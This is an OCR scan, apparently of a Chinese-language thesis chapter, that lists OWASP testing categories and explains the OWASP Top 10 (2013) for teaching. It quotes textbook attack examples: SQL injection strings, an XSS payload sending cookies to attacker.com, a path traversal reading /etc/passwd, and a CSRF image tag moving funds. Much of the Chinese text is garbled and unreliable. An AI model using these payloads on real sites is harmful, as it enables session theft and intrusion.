Testing for Reflected Cross Site Scripting
IR AR -l S B

Testing for Stored Cross Site Scripting
A el B AL B

Testing for HTTP Verb Tampering

HTTP F et &

Testing for HTTP Parameter pollution
HTTP %87 4% &

4.6

46.1 |OTG-AUTHZ-001

46.2 |OTG-AUTHZ-002

46.3 |OTG-AUTHZ-003

464 |OTG-AUTHZ-004

4.7

471 |OTG-SESS-001

4.7.2 |OTG-SESS-002

473 |OTG-SESS-003

4.74 |OTG-SESS-004

475 |OTG-SESS-005

476 |OTG-SESS-006

4.7.7 |OTG-SESS-007

478 |OTG-SESS-008

4.8

48.1 |OTG-INPVAL-001

4.8.2 |OTG-INPVAL-002

4.8.3 |OTG-INPVAL-003

4.8.4 |OTG-INPVAL-004

¥4F 5= R 161
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Ref. No. Category Test Name

Testing for SQL Injection
SQL'E7 1 ~ & &
Oracle Testing

485 |OTG-INPVAL-005

485.1 Oracle 4 & k SLip) 2
MySQL Testing

4.8.5.2 MySQL 7L i & stipl s
SQL Server Testing

4853 SQL PR B F LR 4 Sipls#

4854 Testing PostgreSQL

G- PostgreSQL T4 & )k SLipls#

MS Access Testing

4855 Bl TR & SLipls

1856 Testing for NoSQL injection

NoSQL F AL R & Suip|id
Testing for LDAP Injection
LDAP 3 » ¥ &

Testing for ORM Injection
ORM i > &

Testing for XML Injection
XML > %%

Testing for SSI Injection
SSlii &%

Testing for XPath Injection
XPath /i » & %

IMAP/SMTP Injection

IMAP ~SMTP /2 » & &
Testing for Code Injection
AANEIL kD

Testing for Local File Inclusion
AE2 E e 7 PR

Testing for Remote File Inclusion
By e 7 pRR

Testing for Command Injection
AN R .

Testing for Buffer overflow
SWrRETHRE

Testing for Heap overflow

48.6 |OTG-INPVAL-006

4.8.7 |OTG-INPVAL-007

4.8.8 |OTG-INPVAL-008

4.8.9 |OTG-INPVAL-009

4.8.10 |OTG-INPVAL-010

48.11 |OTG-INPVAL-011

48.12 |OTG-INPVAL-012

48.12.1

4.8.12.2

4.8.13 |OTG-INPVAL-013

4.8.14 |OTG-INPVAL-014

48.14.1

ETKR D

Testing for Stack overflow
4.8.14.2 esting

BErwE
4.8.14.3 Testing for Format string

ICENM R 1
Testing for incubated vulnerabilities
VAR B b

4.8.15 |OTG-INPVAL-015

4 s SN 162
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Ref. No. Category Test Name
i i Testing for HTTP Splitting/Smuggling
4.8.16 |OTG-INPVAL-016 HTTP 4 %) ~ 2 & &
49 Error Handllng
Analysis of Error Codes
49.1 |OTG-ERR-001 R A
Analysis of Stack Traces
49.2 |OTG-ERR-002 3o 0y 36 B 4
Cryptography
4.10 B
Testing for Weak SSL/TSL Ciphers, Insufficient
4.10.1 |OTG-CRYPST-001 Transport Layer Protection
SSL ~ TSL “c % ip| 28
4102 |OTG-CRYPST-002  |L51ng for Padding Oracle
L b as Rk
Testing for Sensitive information sent via
4.10.3 |OTG-CRYPST-003 unencrypted channels
A Ao R i B R ACR FOHPE
411 Business Logic Testing
' B BERR
Test Business Logic Data Validation
4.11.1 |OTG-BUSLOGIC-001 5 v BT R
) i Test Ability to Forge Requests
4.11.2 |OTG-BUSLOGIC-002 &bk 4 pE
Test Integrity Checks
4.11.3 |OTG-BUSLOGIC-003 |_.
N R e
Test for Process Timing
4114 |OTG-BUSLOGIC-004 A T
Test Number of Times a Function Can be Used
4115 |OTG-BUSLOGIC-005 |Limits
S S S Sk
Testing for the Circumvention of Work Flows
4.11.6 |OTG-BUSLOGIC-006 1 FEi A S il
) i Test Defenses Against Application Mis-use
4.11.7 |OTG-BUSLOGIC-007 N
) i Test Upload of Unexpected File Types
4.11.8 |OTG-BUSLOGIC-008 L AE A AT @ R
Test Upload of MaI|C|ous Files
4119 |OTG-BUSLOGIC-009 TR R
4.12 Client Side Testing #* = =4 p|:#&
i 3 Testing for DOM based Cross Site Scripting
4.12.1 |OTG-CLIENT-001 DOM F5 4 T %4 s 1 &
i 3 Testing for JavaScript Execution
4.12.2 |OTG-CLIENT-002 JavaScript # {7 )&

¥A4F FEETHEFTLXHIFTT
FA4lE - P F L RPIBTY
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Ref. No. Category Test Name

Testing for HTML Injection

HTML ;2 » Bl

Testing for Client Side URL Redirect

4.12.4 |OTG-CLIENT-004 % ¢ F o g2

Testing for CSS Injection

CSS x » ipl

4126 |OTG-CLIENT-006 'I;esting for Client Side Resource Manipulation
L2 BT RE B R

Test Cross Origin Resource Sharing

B RA 3 RIEE

Testing for Cross Site Flashing

B e b F BRI

Testing for Clickjacking

Clickjack sz # jp| &

Testing WebSockets

WebSockets # 7|

Test Web Messaging

Web 2t 4 jpl:g

4.12.12 |OTG-CLIENT-012 Test Local Storage * ¥ &35 ipl &

4.12.3 |OTG-CLIENT-003

4.12.5 |OTG-CLIENT-005

4.12.7 |OTG-CLIENT-007

4.12.8 |OTG-CLIENT-008

4129 |OTG-CLIENT-009

4.12.10 |OTG-CLIENT-010

4.12.11 |OTG-CLIENT-011

T4 %R © OWASP

(-) R 2BB~]

EFEERERIRBARRARR > T AR 0% 2R G T NL DR T B R -
PR ELZREIRTE FEY €0 R AR FRRcE > LV Bt 758
R e
REETIEFAITVASIEE RSP ENFL T E o TP R T AR D

G rpd RIS QG - BAAT

R T A Rl Y > BRI SR SRR 3 T

7 OWASP + 30 % @it 7 ¢ 34 » # #5d 4 & 9 OWASP Top 10°°( OWASP

Lo RO R KA >33 8E)  WebGoat(it % £ X )Y T4 - & > PHP/Java/ASP.Net

F3E 47 Pl >R AR TR E A T - Open Web Application Security

Project (OWASP) 2 0 Top 10 FEN LA RREIEF O MNTREGHE LM
<~ RPBEZ >RF

% «Top 10 2013-Top 10-OWASP”. [Online]. Available:
https://www.owasp.org/index.php/Top_10 2013-Top_10 - [Accessed: 2016/2/14].
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1. i » %% (injection)

% OWASP #73 et < e 2/RFY > BT~ 0 4 &5 F Lk T 501~
5o o bldedn £ SQLIL M o A A F A AL AL BAF AR F P Y o
AR T AT G iR b o SRRy SRR G ARTRR G L ¥ P £ A U G W T
B~ o 52013 £ 5 0 ch- RIFTRORT > - £2E BT RPN F - ﬂfﬂ'rﬁ—;r;_:
#gexb muzik-online» i = 1§ 2 F4L ¢ f FA 24 R Rt
% eI A SQL L~ R 0 4RSS T - BRSO AL 0 R 520 PR

ml4
\-‘-ﬁ'

Y

z
4B SR A MU

P B E eh SQLinjection b3 A fE o B R BRF 2 RFOANG A B

strSQL = "SELECT * FROM users WHERE (name =™ + userName + ") and
(pw ="'+ passWord +");"

mUEEREERLE

userName = "1' OR '1'="1";

passWord ="1' OR "1'="1";

BoAnSQL 3 B #-¢ %

strSQL = "SELECT * FROM users WHERE (name ='1' OR '1'="1") and (pw =
'1' OR '1'="1");"

J"TL AR 0 ‘Kﬂp*{ﬁmSQLwlZ‘ §

strSQL = "SELECT * FROM users;"

Flot Pl ERELRAE > 7T~ fexb o SQL Injection s e 5 \ﬁk,ug\fﬂ_p{
T H T RERT Mg TR R F I ERR AL RAER S X
3 frpl = B command &% € & = AR 0 B 40P 8k table (h £ F > SQL
ﬁﬁif?hﬁ$¥i#méﬁ%*"@SQLﬁ€'ﬁﬁﬂ#ﬁiﬁ*ﬂi’iﬂ3@%ifwﬁ%ﬁo

~

% pd R TR, P E R bkA 0 Fee 1.2 § 4 B F, 2013/5/6.

ES oo = -z > _ N l
£ 4% FERT S 65
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TR EER - BERI B RT AR E P A R RILR AT

JHELRERE A AP E O FF L SQLA N T A A

Bod TS A TR bl AR R TR R E

TR TSRS @ v st ivie- H guc e g IR E W F
. R RN

i

R RAE TR S H I T LR T e
o VR R ITE Ak 2 PR S LAk o
A SQL L~ B P A U B &R 0 Bl

(1) B3 AP = 2% Sdci 439 (Parameterized Query) % 3k 3+ 7 i B4

-
Rt °

o

u'u

(2) et SQL 3 8 pFr R4 49ril » cn ity AN (R-EHSI5 g AN L i 2
FHEIFEF ~

N

(3) 4-% i * PHP B 7 425\ s 77 ¥ B fx PHP =0/ #7351 55 (Magic quote)# &t (p
B neE @ Sl MHIBEF ARSI AF2BHIIEET R)o

(4) " f L% 20> @ SQL FALE < bldee 1116 SQL FALEM W ALNT
FLE A2 6]4e ASPNET 0 SqlDataSource 4 i & £ LINQ to SQL -
(5) & * SQL I FALEME kbt o
i OWASP chifiif 3= 4R 24 ¢ » i » st R S en T E > 28 > ik
iSRRI AR AT RS R BRI T e
FRIR B S B nd o gy BT BFARE |3 OWASP - 4 5582 5 diR 7] o
Fob o A R A B ARERE 2RPIFT AR R A R - BRRERET AR
FEFF M RFRED AU EARELIRAT GROT R AA REFES R
st e 10 SQL & bl » AL BF B AHIE SR Y SRR BAR Y B DB
P Il - B 1R KPR e 2 R Z R A AR R e

VO RGRF PR AR e s R A E R Ay

2

2. r gk @ 87 i@ Mg . (Broken Authentication and Session Management )

% Web et B 42 > Session @ 5 H AR R i * ch— fAPjr o @ Session 2 #114TF

. ¥ HTTP 8 fi (Stateless) ezt 34 » PIRBAeE =44 € - B RFRSRE >+ 4

PO e 166
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€F B R E TR AT o #74> Server ¥ 72 drif Client sk i (22T ¢ 5%
Yo TR fS Kehgesh B4 o & Session gk TR K RS R AL -

i H % > Session fﬁ#&#lji&;@\{ﬁ—i AT T OH s o (BRI ELE M > RS
I B SH > R ;j-fui TR R o T 0 dodk TR 2 Bk f::;j-f;%g;ug%é%fué% o 2
BRERAA BRI SHBN T IR E L FREL g R AL >
Rie™ MBFEEHRW RO o @ E? o Session 4] > &AL ELE 0
% Session ID > B E & JEL L 347 ID > L w4 * 2 ID v PPREE RPRGE o

Xm > Session ID # H2 3 AR% kg am Ak 8 A @arrani {7 smﬁ;n? 1

n\f*

@ﬁ?ﬁ@ugw@wgaﬁ@o

Bol k3o 5 g gt 33 Bhenfe b i@ —‘ngessmn ID 2% *ten 5| (URL)® >
&) 4

http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii

RERY F G T F R RS A e BE T E TR 7 D
Ao ig A Session ID e iF 0 Flt i H L A B ehe ¥ — BV a0 R Ege sk 3 A H- Session

THERFR s BadriR t XA 0% PE AT AAE N BT - B XHET LD
f A

11\1.
Ty

Berid - i H e g o o B RILE R S S P

BEom PX#J.)_'@‘_\:‘ B g T A fadFses (Hash ) Gl4cié * se st § 8 P~ 1;351'1_} ’

SRR KT ARG XD L RTIE L PR o
IR @i * KB Session ID LF L EFR T AT SRR
(1) #* FmmBa AT rifedd e Sigs o
(2) BHEAT T i BBtk B g T 5 R R
(3) SessionID &% % & & URL *®
(4) 2% % %@ %X F z_Session sz #

(5) Session £_F § @ prpFR > & ¥ & % & Session~ S token 4 F » pFiE % chtoken
IS

m\:
G

ERCEUE

(6) SessionID f=# % » s 8 F 3 L #%
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(7) %% ~ Session ID ~ &3 £ F &5 i 4 i 5G4

“LFRPIREF AL FNEELIAREILEF B 2 TRHE guI%?'ﬂ*g-w-
XA 4 o ¥ ¢b > Session ID » ¥ ic F] XSS Ak @ j€_Cookie ® 8k 0 F|p XSS Ak
2 AP E IR eh s T R4 2 XSS s o

3. g=kyrk (Cross-site scripting )

Brbgr A ¥ A XSS A ABAr h- Ao @ A R FREEFT T R
Fo@ETWOS AN ER A S AT T L AR R F ARG T PR
FELWU@ R TS L EL#T AL ¥ & JavaScript > R L T L 3
Java > Flash » ¥ 3 & 3 i@ o HTML ° 52 # = 7 {8 »n?i?ﬁ R F R R

T PN F o cookie ¥ o H I F LR T b o B st fa w oAt XSS

T R B T T 444 CSRF se# cifp 5 CSRF #-5ts  chd & 4 J2 o

XSS5 v A L Afh - fhn @ FBESEF YU o B G
F b+ XSS 7c#% o T B 4-3 % ¥ A XSS e se

Yahoo | A SEERME ] B2 = {8k
= Az £ =5
(=759 XSS TR 4B3h) gy FAREEZEA

Yahoo R3¢
/'

=1k XSS Rl ]

3. 258 URL

2. {HEXFE URL

W 4- 3 XSS sc iz %8

AL %R ¢ http://www.puritys.me/

¥ - A éq’f’ﬁﬁ %m,ﬁ]ﬁ A

N

S BRPEE o S F

7 GSS F& % 5 47 0067 #p » [ #% =k%r & s # (Cross-Site Scripting, XSS)##it ]
8 Puritys Chen, XSS rz#, 2011/12/7. [Online]. Available:
http://www.puritys.me/docs-blog/article-78-XSS-%E6%94%BB%E6%93%8A.html » [Accessed: 2016/2/14].
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5O B\ XSS s HF o F ALY XSS st P A AL RENT I EIEE P 5 2 T HIF

B g Tre g RELTARCFEZE I T A AE B —*Ffi%:*mf#‘:é’ e
{%‘K??f%?"f@;‘?'ﬁ!?%?‘ ~Frx ¥ ~HTML 7 PERE G R HEPRR LD
PR BT B S F SN e FlGRY FR AR

Epe o
PTG~ H 0 XSS Fe g6

B BT ARSI T O DT RO R MG R BT AT 3R g8 CC
PR HTML Y > £ ¥ 235 WiEm e LM a2 & J iy ¢

(String) page += "<input name='creditcard' type="TEXT" value="" +
request.getParameter("CC") + ">";

s B#%:G:?ﬁ? 1 gede s i CCap F G

"><script>document.location= "http://www.attacker.com/cgi-bin/cookie.cgi ?
foo="+document.cookie</script>'.

IR 5 0 Bt 3 K ehsession ID @i s E RPIRE 0 Flt st
7 ] g oseesion ID | ¥ £ E F s o

XSS 35 Bk 7 80%H e sk ¥ 3R K i 0 (e B BT f# XSS BB RILE o 30

B AR R® ¥EEfRAG e F A F’”’}'&*—Q#&-“rp ¥ oAk B 2 HTML
[ SR E O ¥4 ??h‘iifa‘ﬁ PAF IR F o e R (] 4o r<scr|pt>J ) > OWASP w35 # i
- RGO BT ERFF ST T AL L R BEF TR L5

WAF(Web Application Firewall) & s &> gt fafr L g+ 02 U4 aF 2 R hw I aade 3t

A R sggiiz o 4 i*n\ﬁ—‘fi rip e LH o fE S 8T FTeb e XSS s s i

PERZAIA L RN A REOF AL R AR LR RS B H s T UR
£ E A

* CSP(Content Security Policy) % f# 8 XSS sz # -

4. * % 2>ende 23512 (Direct object reference)

e AL PR RALFLEE LRGP b 22 R
Bty FRE S S &L EGE KRS PPl B E T pbp b
r‘ﬁi]"%%— Pgﬁ‘fé }ib ’ 'i‘ l;r I& gﬁ* I},E‘ "Px‘i'—— i‘@*é’]it ) |)7| ,&‘:—v l—/etC/paSSWdJ —\E'II;#%Q

R E LAY ATy et 2 LE S Fl g s A LI RIF TR ek o e BRI &
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ERNA BT T S BT T DRI 2 RGER Y Tl T R LT 52

PR3 B T

BK - R T I T ey kG 7S A

http://lwww.example.com/application?file=index.html

WA A S SRR DL BRET R G R ASFE T U FR
T8 0 B4 Do letc/passwd |0t F B R AT L ET P LT FEHE T

letc/passwd > & 1 * .3}%&51]@] % og

http://www.example.com/application?file= ../../../../etc/passwd

BRI A R LR R A0 0 Bk € 3 B i /etc/passwd s T P O-H K

5

R
FRET T o FLUMTR Y HFR O bl

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/shin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

TELE TS EEF O BEFFRREY - B R RER Y F Rt
(%%ﬁ%%‘%ﬁ?ﬁwkﬂwuéﬁﬁﬁwﬁ@@%go Beg 244 de
TR R R E ARG PR 2 o B R T LAY B
CRAABRERETYR LA BRRY L FIOTRTG 6B TR B ik Y
FRF AL 6 L B g A B ARS L RYp R Y g~ WA PP
BT ihe 8 ABFH 0 FOLEHE BT LIS RE 2R AR R Y
* G e TR

AR AR AN DT AL rend 2 AL RF R BF i 2 ARBE LT G b
PG RGP e §RY F B BRI R
%’@“ﬂﬁiﬁﬁiﬁﬁ&%%”ﬁéﬁo&&#ﬁifﬁtﬁﬁ%if(ww%
*AnEL) 0§ R FEENETAZNE AT F e R AR S E R
R PEEE 6 AR S HRRIA NS B BRI B E Rl TR R
5Ok R A PR TRALG RAR R Flt IR S BERER AR R 0+ B 5

ey k]
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5. # §&E > R L (Security Misconfiguration)

& A PR S S SN e BUL RS S s e o
MR BE % AE o B ) k3 D phpMyAdmin £ B2 PHP 3 AA# TR FEI L R
H T i Web 4 6 ?@MySQL AL F AR T fs SR m dek LG F A
¥ it 2k phpMyAdmin 9% »~ | o %;% ) Eg;;:§ia ot &g * phpMyAdmin 0% %
te 5L root 2 %A% admin & » > SR IERREL R AR L G AR fm ;{§ MiE R e
oAl FALE o ¥ ob s 4 2015 & P E Lot R it 4250 Instagram ¢ AR PR B T
KA B BAE > FIF L AR A RBT LSRR FRNBNEF 0 RS
37 2 £3) Instagram FUREF ety SR R Y FFOR o B Y ARk R4

R AAMP > @S FE T B ES P g NG Rk ik X
P EPIEE RA o N BN LT A f%?'ﬁ'g‘fﬁj ’Iiﬁ'*ﬁzﬁé-?jwbﬁggﬁ
ALEFRF Il o bldrR * PFTRERA ST LR ATAES > DI 2L

TR (T T — H Fu oo

BRI ARG BE R AL dpg B A RRIT Y RPN > T SR
B b

(1) #7F PHMET 2 BATRE > e RRIFE s s THEFE 0 2T R* 2557

JREfrT e N an N % %
() 273 2By b LRFE
(3) HF J KN 2 fr{AB L AP & 2
(4) s LT EERIL > @ F § E AR Y i

G) FEBRBEMMEENLT 2RELTCRIL2E

o

e F#H Rk & (Sensitive Data Exposure)

e Koo § 5 TR TR bHAcR Y F R AR F AL
Frp RS TR AR REDTH A L RE FTHE I TRAA e RhER F- £
LFHA@RRG @7 % 2l FeF @ ¥ LT Lt r HTTP chie T o 2 48
A E G R e etk R TR F o & 5 £ BBS(Bulletin Board System) -
boF L PTT &8 4 B4 B %X 1 BBS 2h# * htelnet 2% > 4 T- A B

B4R 8 17
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F_‘-

I S F oA L AREBEMS (T U FwR T BT 2 LR

REEE

ARG E AR TR AR TR AR >k AR Y F R AR
st B N0 A3 FERUP Y Aot - R TR ARSI e TR E
FALE DD o bldes # o Windows kSl RAEPFE R Y - 2 L 5 LM hash 9
FRR R S RRAFE Y R > TR A T A ST R R R
e s R w F g PR R RS o 3 Seik i B i L MD5 fr SHA-L
2 AV BB ET B R T B 0 R AR LR Y o

i

OWASP _EL%‘« gt IR T AR R P G FIER 0 AR f et R F Tid 2 R
L SESIER N ”—ﬁf%md’mﬁ%%@éﬁé%?ﬁﬁé&érﬁ
A REFRETE AR L £ H TR TE R I A s
RS EOREY 2 S BT E R EE LIt El & R LECE R g

FAES G RY Fhl» T AT RS TR E LRL DN -

s

7] b Fx’?’%"fﬁ%"\’»‘ CRCIE -8 ?‘ﬁlmlpﬁﬁc SNEA AR A FE E AR T
R AR RREg AR RIAL PG E R TR TS § R IR B0
Ho A AR 2 AT A SRS R R

B EEF R F B T & 2 A0 5k @A TR Bilde HTTPS
Fik* SSL "2z T ARIE>PEMS N Mg ks g
IPSec(Internet Protocol Security) s 2t IP ¥ €38 {7 4r B el o @ gkt TR
SN R A %ﬁ@ﬁ’ﬂgﬁﬁﬁﬁﬁﬁﬁgiw%ﬁo%{gmwﬁtp,’
- T &% % >epde @ N K REF 0 Bi4e berypt s scrypt & *Kn\ié e RIFE E o

TR ife"#—gg S x ok BORE R R TR ok F,ré’# %R R R
535 0 kR IR B4 e e 25 ~ T password | J’FK B F Lends 2o i BT AR
* berypt igfEse 4 chde BiE s w - E%Fé‘*)i&&‘mﬁ;ﬁ”i °

7. &0 F & u R B2 4] (Missing Function Level Access Control )

WF o - BT 3 AFN Tﬁ:ﬁﬁ‘—fé‘_’rﬁﬁzl}fﬁ—-?— #E/@ml e 7 fe ’"ﬁlﬁ

PP AP LR F RO (P ) ARG A FEFRAAE

»ER A AFEFTRERY R AR R B R T Wk BEF L
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tw R om Ta’r‘i;‘;#‘l ERa AR dogr A ?}iII’? TR 1S )I‘u?’ MiaAR B ARy R E o
Bk BE - B3 ad BPae » EiioT !

http://example.com/app/getappinfo
http://example.com/app/admin_getapplInfo

- dkehig ® R % hf e 5 getappinfo o @ B 3L RIS 43 ® * admin_getappinfo

BB ek g 1T o B%p:ii} E R 0¥ 2% P admin_getappInfo & > @ F & I
Agh PRI ST F R R B R A ek T
o B3 - Rk o

PARSHE L A ] B 0 TR A e TG - LRk AT 6 ik b0

F 1 Tadmin_ | & i E KT RGBSk E R e Vb -1 B

TN A enF LA 0 - 1&{1%—33'* PH RN G AR o kg 4 ST e

FEROT 6 - BHEFT B BE S RBLT T B
FAGY AT T s FRLT G il

(2) PIRERLT G HREY F K E

(3) WIRBp s AT = > R |%9+—““Lr#!tu SR

Tl AR PRERFTRET BT AN DL F R EEAREUNT G 0 &L
WAHAENBY A7 HFEFALE  FPRSLEFHECRT 2B 4R > RFLLA
A A APES N EFAMPTT E o af Bl DG EBOH PR
FEARREPRGEFERY RS BT AR E 67 o

8. kiR (Cross-site request forgery)

o kR @ AT F H I - RPN AR AT EL R - BA g
GRABE R THT - B TLoF B EEEE &) o T RS s
W STIIAR T R chesh 305 RE D R Sk A 4 7 0 22 XSS fpit o XSS I
A * Sy gk an im0 A CSRE 1% cn e sb it * @ g T T B il iE o 5o ¥
H %A G CSRF 7 kB HREP- ¥ & ik # 5o dli - & 7 i B RRFFT 2 hiE
A W I Ak TR RE Y SRR AR T A - B

i 8 ¢ CSRF 5o & o] :
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— BResh AR F AN BRI - BERGRER TP R RE P e R sk
Y eds 1T o BERR R 0P Bt & 5 4,673,243,243 0 @ #Ete £ 3F 2 1,500 0 a2

http://example.com/app/transferFunds?amount=1500&destinationAccount=467324
3243

M I’{?Jﬁ PRI 1B - B iR T K @*EJ_ s X i Sk P 3 KT B ‘?")\
- BRI R S @ ER S L H B gskd o Glde Plurk 3 ARF R 2L

<img src="http://example.com/app/transferFunds?amount=1500&destination
Account=attackersAcct#" width="0" height="0" />

WEXTHAFTLRT 20 R BEPT L LERE F XL FATE
HeTm HARECEF Mg fo aZe T g i L2 Forgangrf L@k
K2

N~

b ae 7 Ak 25 e 5k Plurk ¢ 7&3 AR T CSRF cnifsil > s 4 s 4, ehpd g
H N Dy pbprH @ o —fg 3 kil I{%i’?xIW%,u e F ophgd

Foeboo mui@gt RarFEEDpHFRL o F ﬁ {aﬁgﬁx cookie

B k- BT AN AE G A CSRF ik > ¥ R A T il B0 F & -
i # ;% 770 1 CSRF token 1 it 49 £ % P;;—]‘\ Bt @ token sfRT o s X : L
i3 B A anp e ipdt token g KA F B % s~ ip session 35 ¢ £ 7%
ditoken » I E ORZE ARG E R 2 o @ H 5 A HTTP dg oy @ > m sbiey
1Y S token W B o ¥ - B SRR i ﬁ%ﬁaﬁﬁi%v GETE
A - SR E F R G 6 —%z » 1 4- CAPTCHA » §.— f8& fi¢ *

By r B P I F 0 T kSRR Y ¥ LE LS A (R 4-4) -
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Security Check

Enter both words below, separated by a space.
Can't read the words below? Try different words or an audio captcha.

Lowenbetti Y, pdemll

Sick of these? Yerify your account,

Text in the box: What's This?

cocl_|

W 4- 4 Facebook & * CAPTCHA 7%u[{8 § = 6

7R %Rt Facebook 2 A B Ff AE IR

9. # 7% < ik~ (Using Components with Known Vulnerabilities)

TRt e %Kf}?r‘if PR EAR s A BER R SSER S
SRR L R BRSO T A R N2
SO G AT o BIER Y R RAviE p e TR Y A AT G IRF G A
E AR AR FE B EFMICR AW EFYIRY ¥ LT HRIR A
FE SRR AR AL A AR R e (AR 2 LA

)
—=\
oS
S
i
I
;}V
1\\
51
(8\
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(=

= b

Bk IRF A F T Tk CVEfrNVD iz B F W3R 4 > 2 7 LE &3 P47
iip

”ﬁm

3

Foo Fpt o EEpEiep e LEF R C ARk R o

>
»

Jit

SRR RR T A g S b R RIZEY DR 0 TP W R Y AR
SRR FE L BN R 1T T A € i 2 (B E ehid % o b4r & 2011 & pF Apache
AR - B E T LR B R R Ui F o Apache - B B AT R4S S TR
PREGR 7 0~ F 8T NivE ki @i d M HBT 2 fox 2POHR LR ¥
BT Web PPR B A2 - cFpt F L AT B FF OB 0 E F et
FXFFLAENFRBRIT B R o ¥ b e - &5 B R Java 2% —Spring
SR G ERABRECEF O KRELTFRE A I T UE BRI T PIRER

B A% R s Lo
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AL B '\?’E‘bgﬁ}4F!]bm,%,ﬂfom—tﬁﬁ/w\ﬁ?:ﬁi%;ufi‘gﬁg

10. A E&s%#E L T8 » 2 fki¥ (Unvalidated Redirects and Forwards)

Bl kY gadgR* ERTE R H N L FpRHa AE NEe # —Ffb'“r%EEJa
b BEE o R oo I Y %ﬁ:&%ﬁﬁﬁ%,ﬁiﬁﬂé oo A B R
BIEH ARk B R PR T o BT K@ R EF TR AR T
AHhob T EF B0l ROgR ’?Kﬁﬁfu?h#’ﬁ ETRC BV T;‘féiﬁq T E - BE
%%%@Iﬁ?ﬁﬂ%‘éf}q :

dode - BT U T Ry AEFELY > T Ee 0P e B AR o
7R K?f"*‘ﬁ*u? MELRRT RS LR FEASTE L TR O R R

http://www.example.com/redirect.jsp?url=evil.com

2015 & & Pk 2 je G fdv © ik e sk facebook d - gk pLCH o R

ﬁ EleFlEn TER R Y R GAERLAN DLIRw R Dl oo A Sap F S

https://www.facebook.com/l.php? ......

shient > ot oo 4 ({241 % facebook ehggnt 4 iv Lphp 4% ki =5 > ¥ 2 &
7 ik facebook sk 4] > i F i@ ig\;ﬂ? % il € ﬁi;{%ﬁi pice ok
TPERRET FXAELDHTERE -

B EL T LI p o ok ROt ) E ;“fj.%{%lﬁfé’*%hkﬁ
i fedek QR AnE o F AR LEARY FFE T ER 0 £ L HER
ZEPS QLD WS R A H RS THEY RNER S LR F AT
TR T g 0 < N s ekt g g B 0 TR 4- 5 S A
facebook i nh e 4 31 g o
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Leaving Facebook

You followed a link on facebook.com that redirects to another website: http:/f'www.google.com/
You can now continue to this website or go back to the page that you were on before.
Please remember only to follow links from sources that you trust.

A Follow Link

] 4- 5 Facebook &t & 2

o
=
Enm\

7R %Rt Facebook 2 A B Ff A IR

MR P LB RRE 2RFLIEFRGE D ek 4-8

. e 177
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1
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% 4-8 R 2RKFRE

P AT AN ERMALETHENBEEN > L EERER
L A AR et iR ﬁ{%ﬁ* ﬁ{%@iﬁ»i&“#P q

o
=
o ;‘sﬂﬂvsﬁ‘«“

BEREE o ¥#F 4 A SQL A3+ - LDAP 4333 « ~ Xpath
HAEFA 0SSt XMLERRES -

B hiE s SQLAH{EF R 7 7 i ;
2" e T hgiE - B SQL A
el 2 ﬂ%\»f%’*"'ﬁﬁ‘i?é;:x;%fg)\ o

53 ¥ query="SELECT * FROM accounts WHERE
~ | % ] | account=""+request.getParameter("account")+" AND password="" +
24 request getParameter(“password”)+"”;

# - L T# ¥ e account # » abc OR 1==1 ‘- » T7 &5 % » & 7
Z R B mfrlgrl’E%{ BIE o

Bk Injection #g e F & 42 v i BT AN DAEE
k] o B MR % imAN’ﬂ%PWH%?MﬁQL
yofe | 7 ou i * pdo fie & Sdeshbinding o T o poBs Fles @ * g R
e | e 3 BEELE - A TR S Bt ek > APl & §
wi* 2y o BEF T a8 Injection A o F]Ut AR * mo R
FHRAPM M > T AR P SR v o

REF TV 6382 20 i@l g o5 28] > &L
e B ZEBE 2B FL AR Tl L fEF 2 ST
™ NI INE- ST

P gES o F RAcE D RABEE AR D
Ttk = {ATEH 0 LA EARFRG L BT 2EF
Bl - B AT i:l—-»—fé *E g E ID R b gnY -
B~ 2 ELRPAPEER r\-}.m?ﬂ s WAl B
AP R oRI B L GRp NEEID- HeEP) A -
PP ie * gt e b R %g%wﬂ*”a WEEE
S Mo T e F i+ F BB RS o

.+ | http://www.example.com/shopping/items?sessionid=2FD34PIEF6235
FDASFIRQZVMKFLA41FE&itemid=3

el B T T AR N
W
=

FOl20 T T AR AR iﬁg’fﬁlﬂﬁgﬁwgw%
h/ﬁ’?@pxﬁ#"&lﬁ ek ERMPEATERFED T BRY D
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e "\F

B AR B E > AN € F L aRA > % JE % & OWASP
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Flaamg mapgueine k.
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XSS % 2 w pAR* = i * F 5 B AL ~ XSS 4 £ 5 (Scripts)
ST G T ERE HTML S Jp 50 4057 2 RIFH R
fﬂip LR o XSS A B KB4 el B* ENE2EF > §F R R

PP *ofg 5t /;»p“_ﬁ‘l%’**j‘mﬁ;])\lrﬁ,ja’T E}%-ﬂff—ﬂ’-{:,l%?fj"]fﬁ » XSS

)J-f g2 o XSS & = = faRga] > 7533 XSS~ K &) XSS DOM
XSS -
B PIRERE A E T E S RHTEDN F 5 page £ 2 page o
Jrzxﬁwm¢o
page += "<input name="creditcard’ type="TEXT" value="" +

B request.getParameter("CC") + "'>";

sk %] 4 IPPRQR,%/J\F "ﬂ‘f%”’*‘ﬁjﬁ;*])‘f%ﬁ‘]/ﬁ’ M AP %1%

% s ¥ | getParameter(“CC”)#- 4B~ % * > 4ok I{%Uz #CC ¥
* EE I3 A DD

><script>document.location=
‘http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>

E'Jgf%%g'iﬁl%@‘wﬁmmx%%iﬁ; | XSS e & > &‘ﬁ;x’zé}tiﬁfﬁﬁ’»
cookie # I session-ID & & & F 3 ©

VL 0T 3 N g e R 42588 8 XSS s w
hofe &m@MgW@miémﬁﬁﬁw%’*ﬁ@%g;ﬁmﬁﬁ
17 %ﬂﬁ%ﬁiiﬁ%%ﬁigmﬁﬁ’%ﬁﬁﬂﬁiﬁ»{@ﬁ
Ev “H B R o

T RTAESF AR BRSO MEET (5 reference) k4
A | E"ﬁiéfi % B ¥ - reference o ¥ 2t fdicz ¢ o s
kAl ﬁ&’%ﬂgﬁgﬂm&%ﬁAm,éﬁﬁﬂﬁﬁi
P o

et A2 A Bk 2 T hSQL A E S Y B 7 AT ik

:}f; :

String query = "SELECT * FROM accts WHERE account = ?";

72 ¥ | PreparedStatement pstmt = conneckon.prepareStatement(query, ...);

% 7] | pstmt.setString(1, request.getparameter(*acct™));

ResultSet results = pstmt.executeQuery();

dob e E TR FHacct Sl TEFE AT —‘F*{mfh% SRR
R ;(%t—ﬂ A Eoetg & oo

F R L A

¥ iskﬁ R By H eniEi: R ﬁ ¢ 352 reference B
